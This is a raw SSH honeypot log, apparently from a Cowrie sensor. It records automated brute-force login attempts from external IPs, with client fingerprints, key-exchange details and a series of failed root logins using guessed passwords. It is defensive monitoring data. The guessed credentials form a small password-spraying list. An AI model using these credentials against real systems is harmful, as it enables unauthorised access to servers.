{"eventid":"cowrie.login.failed","username":"root","password":"pi314159","message":"login attempt [root/pi314159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:37.242363Z","src_ip":"60.165.124.241","session":"4ccff4ee6527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:38.501629Z","src_ip":"60.165.124.241","session":"4ccff4ee6527","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41016,"dst_ip":"10.17.0.5","dst_port":22,"session":"744104b6a634","protocol":"ssh","message":"New connection: 60.165.124.241:41016 (10.17.0.5:22) [session: 744104b6a634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:40.760948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:40.765308Z","src_ip":"60.165.124.241","session":"744104b6a634","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:41.719707Z","src_ip":"60.165.124.241","session":"744104b6a634","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hellohello","message":"login attempt [root/hellohello] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:43.262982Z","src_ip":"60.165.124.241","session":"744104b6a634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:45.752786Z","src_ip":"60.165.124.241","session":"744104b6a634","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49266,"dst_ip":"10.17.0.5","dst_port":22,"session":"02bc017dc105","protocol":"ssh","message":"New connection: 60.165.124.241:49266 (10.17.0.5:22) [session: 02bc017dc105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:46.035271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:46.040095Z","src_ip":"60.165.124.241","session":"02bc017dc105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:46.314419Z","src_ip":"60.165.124.241","session":"02bc017dc105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38054,"dst_ip":"159.203.135.109","dst_port":22,"session":"27244efe03a6","protocol":"ssh","message":"New connection: 2.57.122.208:38054 (159.203.135.109:22) [session: 27244efe03a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:47.713977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:47.994684Z","src_ip":"2.57.122.208","session":"27244efe03a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:47.998405Z","src_ip":"2.57.122.208","session":"27244efe03a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:49.402936Z","src_ip":"2.57.122.208","session":"27244efe03a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd.1","message":"login attempt [root/P@ssw0rd.1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:50.064828Z","src_ip":"60.165.124.241","session":"02bc017dc105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:50.826170Z","src_ip":"2.57.122.208","session":"27244efe03a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:51.348344Z","src_ip":"60.165.124.241","session":"02bc017dc105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55394,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e0bc20378a4","protocol":"ssh","message":"New connection: 60.165.124.241:55394 (10.17.0.5:22) [session: 6e0bc20378a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:51.599353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:51.603308Z","src_ip":"60.165.124.241","session":"6e0bc20378a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:51.866549Z","src_ip":"60.165.124.241","session":"6e0bc20378a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#Aa","message":"login attempt [root/123!@#Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:54.158185Z","src_ip":"60.165.124.241","session":"6e0bc20378a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:55.425445Z","src_ip":"60.165.124.241","session":"6e0bc20378a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59876,"dst_ip":"10.17.0.5","dst_port":22,"session":"d44590761f6d","protocol":"ssh","message":"New connection: 60.165.124.241:59876 (10.17.0.5:22) [session: d44590761f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:56.686177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:56.693311Z","src_ip":"60.165.124.241","session":"d44590761f6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:56.956640Z","src_ip":"60.165.124.241","session":"d44590761f6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"777888","message":"login attempt [root/777888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:57.754387Z","src_ip":"60.165.124.241","session":"d44590761f6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:59.020841Z","src_ip":"60.165.124.241","session":"d44590761f6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35690,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcc8e125bbde","protocol":"ssh","message":"New connection: 60.165.124.241:35690 (10.17.0.5:22) [session: dcc8e125bbde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:59.268629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:59.272507Z","src_ip":"60.165.124.241","session":"dcc8e125bbde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:00.251863Z","src_ip":"60.165.124.241","session":"dcc8e125bbde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123@pl","message":"login attempt [root/Admin123@pl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:01.018565Z","src_ip":"60.165.124.241","session":"dcc8e125bbde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:02.874520Z","src_ip":"60.165.124.241","session":"dcc8e125bbde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39936,"dst_ip":"10.17.0.5","dst_port":22,"session":"1839f6792e0b","protocol":"ssh","message":"New connection: 60.165.124.241:39936 (10.17.0.5:22) [session: 1839f6792e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:04.132046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:04.135829Z","src_ip":"60.165.124.241","session":"1839f6792e0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:05.122738Z","src_ip":"60.165.124.241","session":"1839f6792e0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@dm!n123","message":"login attempt [root/@dm!n123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:05.902669Z","src_ip":"60.165.124.241","session":"1839f6792e0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:08.380466Z","src_ip":"60.165.124.241","session":"1839f6792e0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46004,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f45d723dfd8","protocol":"ssh","message":"New connection: 60.165.124.241:46004 (10.17.0.5:22) [session: 6f45d723dfd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:08.623570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:08.628314Z","src_ip":"60.165.124.241","session":"6f45d723dfd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:08.880136Z","src_ip":"60.165.124.241","session":"6f45d723dfd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfghjkl1","message":"login attempt [root/asdfghjkl1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:09.624877Z","src_ip":"60.165.124.241","session":"6f45d723dfd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:10.865451Z","src_ip":"60.165.124.241","session":"6f45d723dfd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48802,"dst_ip":"10.17.0.5","dst_port":22,"session":"bef8bc7d1a95","protocol":"ssh","message":"New connection: 60.165.124.241:48802 (10.17.0.5:22) [session: bef8bc7d1a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:11.096895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:11.101511Z","src_ip":"60.165.124.241","session":"bef8bc7d1a95","protocol":"ssh"}
